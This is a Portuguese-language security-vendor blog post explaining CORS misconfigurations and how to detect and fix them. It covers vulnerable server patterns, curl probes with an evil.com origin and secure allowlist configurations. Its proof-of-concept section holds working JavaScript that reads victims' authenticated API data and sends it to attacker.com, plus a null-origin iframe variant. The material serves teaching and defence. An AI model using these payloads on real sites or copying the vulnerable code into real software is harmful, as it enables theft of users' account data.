剣 KENSAI
← Voltar ao Blog
Segurança na Web 3 de abril de 2026 18 minutos de leitura

Vulnerabilidade de configuração incorreta do CORS: guia completo para detecção e prevenção

As configurações incorretas do CORS são uma das vulnerabilidades mais consistentemente recompensadas em programas de bug bounty – e uma das mais subestimadas. Um único cabeçalho Access-Control-Allow-Origin header pode expor cada endpoint de API autenticado a domínios controlados pelo invasor.

~35%
Aplicativos da Web com problemas de CORS
$ 3 mil +
Pagamento médio de recompensa por bug
Crítico
Quando as credenciais são expostas
OWASP A05
Configuração incorreta de segurança

O que é CORS e por que isso é importante?

ℹ️ A Política de Mesma Origem

Por padrão, os navegadores impõem o Política de Mesma Origem (SOP): JavaScript em execução attacker.com não consigo ler as respostas de bank.com. CORS é o mecanismo que relaxa essa restrição — e quando mal configurada, pode prejudicar completamente o SOP.

O Cross-Origin Resource Sharing (CORS) é um mecanismo baseado em cabeçalho HTTP que permite a um servidor indicar quais origens (domínio + esquema + porta) diferentes da sua própria têm permissão para ler suas respostas. Quando um navegador faz uma solicitação de origem cruzada, ele impõe a política CORS do servidor.

Os cabeçalhos críticos para entender:

⚠️ A combinação perigosa

A vulnerabilidade mais crítica ocorre quando um servidor retorna ambos Access-Control-Allow-Origin: [attacker-controlled] AND Access-Control-Allow-Credentials: true. Isso significa que os invasores podem fazer solicitações autenticadas em seus sites e ler as respostas.


Padrões de configuração incorreta do CORS

1. Curinga com credenciais (impossível por especificação, frequentemente tentado)

Navegadores rejeitam Access-Control-Allow-Origin: * combinado com credenciais. Os desenvolvedores muitas vezes tentam isso e depois “consertam” refletindo a origem dinamicamente – criando uma vulnerabilidade pior.

2. Refletindo cegamente o cabeçalho de origem

# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # NEVER DO THIS
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Qualquer origem agora pode ler respostas autenticadas. Esta é a vulnerabilidade CORS mais comum encontrada em bug bounty.

3. Validação de origem fraca (Substring/Regex Bypass)

# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
    # Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
    allow_origin(origin)

4. Confiança de origem nula

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

O null origin pode ser acionado por meio de iframes em sandbox, redirecionamentos e URLs file://. Os invasores podem criar páginas que enviam solicitações com Origin: null.

5. Curinga de subdomínio sem ancoragem de TLD

# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
    allow_origin(origin)

6. Envenenamento de cache pré-voo

Quando Access-Control-Max-Age estiver definido, as respostas pré-voo armazenadas em cache poderão ser exploradas se a lógica de validação de origem for alterada sem invalidação do cache.


Detecção: Encontrando configurações incorretas do CORS

Detecção manual com curl

# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 2: Null origin
curl -s -I -H "Origin: null" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

Detecção automatizada com Corsy

# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10

# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

Detecção de conjunto de arrotos

No Burp Suite Pro, o Scanner ativo testa automaticamente configurações incorretas do CORS. Para testes manuais, use o Extensão CORS* da BApp Store. Passos:

  1. Capture uma solicitação com Burp Proxy
  2. Enviar para repetidor
  3. Adicionar Origin: https://evil.com header
  4. Verifique se a resposta reflete a origem em Access-Control-Allow-Origin
  5. Verifique se Access-Control-Allow-Credentials: true também está presente

O que procurar nas respostas

RespostaGravidadeExplorável?
ACAO: *Baixo-médioSomente sem credenciais
ACAO: [evil origin] onlyMédioSem credenciais
ACAO: [evil origin] + ACAC: trueCríticoSim – roubo total de credenciais
ACAO: null + ACAC: trueAltoVia iframe em sandbox

Prova de conceito: explorando a configuração incorreta do CORS

⚠️ Apenas para fins educacionais

O PoC a seguir demonstra o impacto das configurações incorretas do CORS. Teste apenas em aplicativos de sua propriedade ou que tenha permissão explícita por escrito para testar.

CORS básico PoC (leitura de dados confidenciais)

<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
  credentials: 'include',  // Sends cookies
  mode: 'cors'
})
.then(r => r.text())
.then(data => {
  // Exfiltrate to attacker's server
  fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>

Origem nula PoC (iframe em sandbox)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="<script>
  fetch('https://victim.com/api/userdata', {credentials:'include'})
  .then(r=>r.text())
  .then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>

<script>
window.addEventListener('message', e => {
  fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>

Aquisição de subdomínio + encadeamento CORS

Se um subdomínio confiável (por exemplo, legacy.victim.com) está disponível para aquisição e a API confia *.victim.com, combinar a aquisição de subdomínio com CORS cria uma cadeia de impacto crítica.


Vulnerabilidades de CORS do mundo real

Estudo de caso: principal plataforma de comércio eletrônico (recompensa de US$ 12,500)

📋 Cenário

Um pesquisador descobriu que o endpoint da API de pagamento /api/v2/payment-methods refletiu qualquer cabeçalho de origem com credenciais. Ao hospedar uma página maliciosa em um domínio semelhante, eles podiam ler silenciosamente os metadados do cartão de crédito salvos das vítimas (últimos 4 dígitos, vencimento, endereço de cobrança) e o saldo da conta quando a vítima visitava a página do invasor.

Estudo de caso: Portal de saúde (crítico)

⚠️ Dados do paciente em risco

O portal de pacientes de uma empresa de saúde aceitou solicitações de null origens. A API de administração interna usou a mesma política CORS que a API voltada para o paciente. O iframe em sandbox de um invasor pode ler PHI (Protected Health Information) de sessões autenticadas – uma violação direta da HIPAA.

Bugs CORS divulgados notáveis

EmpresaVulnerabilidadePagamento
ShopifyReflexão de origem no comerciante APIUS$ 25,000
UberConfiança de subdomínio curingaUS$ 3,000
YahooAceitação de origem nulaUS$ 2,500
StarbucksIgnorar pré-domínioUS$ 4,000

Prevenção: endurecendo configurações de CORS

Validação de origem baseada em lista de permissões (abordagem correta)

# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
    'https://app.company.com',
    'https://admin.company.com',
    'https://company.com'
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'  # Critical for caching!
    return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
  'https://app.company.com',
  'https://company.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

Configuração Nginx CORS

# nginx.conf - Secure CORS
map $http_origin $cors_origin {
    default "";
    "https://app.company.com" $http_origin;
    "https://company.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin) {
            add_header 'Access-Control-Allow-Origin' $cors_origin always;
            add_header 'Access-Control-Allow-Credentials' 'true' always;
            add_header 'Vary' 'Origin' always;
        }
        # Never use: add_header 'Access-Control-Allow-Origin' '*';
    }
}

Lista de verificação de segurança do CORS


CORS vs CSRF: Compreendendo a diferença

ℹ️ Confusão Comum

CSRF explora o envio automático de cookies do navegador para solicitações (gravações) de alteração de estado. O invasor não precisa ler a resposta. Configurações incorretas do CORS permitir que os invasores ler respostas de origem cruzada. Ambos exigem que a vítima seja autenticada. O CORS NÃO protege contra CSRF – use tokens CSRF para isso.

Testando CORS em seu pipeline de CI/CD

# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
  run: |
    # Test critical endpoints
    for endpoint in /api/user /api/account /api/payments; do
      response=$(curl -s -I \
        -H "Origin: https://evil-test-domain.com" \
        "https://${{ env.TARGET_URL }}$endpoint")
      
      if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
        echo "CORS MISCONFIGURATION DETECTED: $endpoint"
        exit 1
      fi
    done
    echo "CORS check passed"

Detecte configurações incorretas do CORS automaticamente

KENSAI verifica configurações incorretas de CORS, vulnerabilidades de origem refletidas e problemas de confiança de origem nula em todos os seus endpoints API – continuamente.

Iniciar verificação gratuita →

Perguntas frequentes

Uma configuração incorreta do CORS é sempre crítica?

A gravidade depende da combinação de cabeçalhos. Access-Control-Allow-Origin: * sozinho (sem credenciais) é de gravidade baixa-média. Os casos críticos envolvem origem arbitrária/refletida E Access-Control-Allow-Credentials: true — isso permite o sequestro completo de sessões e o roubo de dados.

As configurações incorretas do CORS podem ser exploradas sem interação do usuário?

As explorações do CORS exigem que a vítima visite a página do invasor com uma sessão ativa no site alvo. A exploração acontece silenciosamente em segundo plano – a vítima não vê nada. Isto os torna particularmente perigosos em cenários de phishing.

O HTTPS evita ataques CORS?

Não. CORS é um mecanismo de flexibilização de política de mesma origem e opera independentemente de HTTPS ser usado. O esquema (http vs https) faz parte da origem, mas usar HTTPS não corrige configurações incorretas do CORS.

Como o KENSAI detecta configurações incorretas do CORS?

O scanner ativo do KENSAI testa todos os endpoints API com cabeçalhos de origem modificados, verificando origens refletidas, aceitação de origem nula e a combinação crítica de origens refletidas com suporte de credencial. As descobertas são priorizadas pela capacidade de exploração real, não apenas pela presença do cabeçalho.

A segurança não é opcional.

🗡️ A equipe KENSAI

Artigos relacionados

KENSAI vs CrowdStrike: Melhor... Credenciais do FortiGate roubadas, rede KadNap infecta 14 RSAC 2026 Product Blitz remodela o mercado, OpenAI lança AI Safety Bug Bounty, G